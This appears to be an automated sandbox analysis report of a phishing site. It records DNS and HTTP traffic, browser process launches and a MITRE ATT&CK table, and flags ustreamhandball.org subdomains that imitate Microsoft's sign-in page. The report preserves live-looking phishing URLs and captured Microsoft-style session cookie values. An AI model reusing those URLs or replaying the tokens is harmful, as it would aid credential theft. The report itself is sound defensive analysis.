fpc=Aq076Fa4imlIlpYE2a8YmJI; MicrosoftApplicationsTelemetryDeviceId=d0627549-59a8-410e-b81c-2c73867b450f; brcap=0; ai_session=v7/fmsBCFInAk2asZjFPUz\|1736464894000\|1736464894000; MSFPC=GUID=276f796372674ae2af9a949957734d91&HASH=276f&LV=202501&V=4&LU=1736464900250
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJI; MicrosoftApplicationsTelemetryDeviceId=d0627549-59a8-410e-b81c-2c73867b450f; brcap=0; ai_session=v7/fmsBCFInAk2asZjFPUz\|1736464894000\|1736464894000; MSFPC=GUID=276f796372674ae2af9a949957734d91&HASH=276f&LV=202501&V=4&LU=1736464900250

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sacredartscommunications.com
Source: global traffic	DNS traffic detected: DNS query: www.ustreamhandball.org
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: upload.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: login.ustreamhandball.org
Source: global traffic	DNS traffic detected: DNS query: aadcdn.ustreamhandball.org
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3506sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYdsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 23:21:08 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ov43o4po+T4b+9Dssa+4xA==$3TYN+NXRVsOBkpbHsEj9sg==Server: cloudflareCF-RAY: 8ff829762c6e41db-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 23:21:11 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: qv4QMpSyJV8U8dP8UQcbeA==$lcYW5fiPKm/naB7PJRLkMQ==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ff82987eec75e67-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found

Source: chromecache_90.3.dr, chromecache_104.3.dr	String found in binary or memory: http://creativecommons.org/ns#
Source: chromecache_112.3.dr, chromecache_82.3.dr	String found in binary or memory: http://feross.org
Source: chromecache_103.3.dr, chromecache_120.3.dr	String found in binary or memory: http://gsgd.co.uk/sandbox/jquery/easing/
Source: chromecache_100.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_90.3.dr, chromecache_104.3.dr	String found in binary or memory: http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd
Source: chromecache_90.3.dr, chromecache_104.3.dr	String found in binary or memory: http://www.inkscape.org/)
Source: chromecache_90.3.dr, chromecache_104.3.dr	String found in binary or memory: http://www.inkscape.org/namespaces/inkscape
Source: chromecache_100.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_112.3.dr, chromecache_100.3.dr, chromecache_118.3.dr, chromecache_91.3.dr, chromecache_78.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_109.3.dr, chromecache_108.3.dr, chromecache_111.3.dr, chromecache_122.3.dr, chromecache_106.3.dr, chromecache_114.3.dr, chromecache_116.3.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50088 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@20/75@30/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2036,i,10849701497838588291,12156381066971431454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sacredartscommunications.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2036,i,10849701497838588291,12156381066971431454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://sacredartscommunications.com/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://www.ustreamhandball.org/ZspqXQij?n=GTFFxd4	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://www.ustreamhandball.org/login	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://www.ustreamhandball.org/favicon.ico	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/common/handlers/watson	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	0%	Avira URL Cloud	safe
https://login.ustreamhandball.org/favicon.ico	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	0%	Avira URL Cloud	safe
https://aadcdn.ustreamhandball.org/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ustreamhandball.org	165.140.202.155	true	true	unknown
s-part-0033.t-0009.t-msedge.net	13.107.246.61	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.186.68	true	false	high
upload.wikimedia.org	185.15.59.240	true	false	high
sacredartscommunications.com	192.185.25.242	true	false	unknown
login.ustreamhandball.org	unknown	unknown	true	unknown
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.ustreamhandball.org	unknown	unknown	true	unknown
aadcdn.msftauth.net	unknown	unknown	false	high
www.ustreamhandball.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy	false		high
